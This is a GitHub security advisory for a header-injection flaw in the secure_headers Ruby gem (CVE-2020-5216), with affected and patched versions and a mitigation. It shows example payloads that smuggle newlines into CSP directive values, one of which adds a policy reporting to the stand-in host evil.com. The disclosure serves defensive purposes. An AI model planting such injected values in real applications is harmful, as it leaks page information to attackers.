Limited header injection when using dynamic overrides with user input

Moderate oreoshake published GHSA-w978-rmpf-qmwg on Jan 21, 2020

Package

secure_headers (rubygems)

Affected versions

< 6.3.0, < 5.2.0, < 3.9.0

Patched versions

~>3.9, ~>5.2, >=6.3.0

Description Impact If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection. Upon seeing a newline in the header, rails will silently create a new Content-Security-Policy header with the remaining value of the original string. It will continue to create new headers for each newline. override_content_security_directives(script_src: ['mycdn.com', "\ninjected\n"])` would result in Content-Security-Policy: ... script-src: mycdn.com Content-Security-Policy: injected Content-Security-Policy: rest-of-the-header CSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial: override_content_security_directives(script_src: ["mycdn.com", "\ndefault-src 'none'; report-uri evil.com"]) Content-Security-Policy: ... script-src: mycdn.com Content-Security-Policy: default-src 'none'; report-uri evil.com Content-Security-Policy: rest-of-the-header **Patches** This has been fixed in 6.3.0, 5.2.0, and 3.9.0 $override_content_security_policy_directives(:frame_src, [user_input.gsub("\n", " ")])$ References GHSA-xq52-rv6w-397c The effect of multiple policies For more information If you have any questions or comments about this advisory: Open an issue in this repo

Severity

Moderate

• DM us at @ndm on twitter

CVE ID

CVE-2020-5216

Weaknesse

No CWEs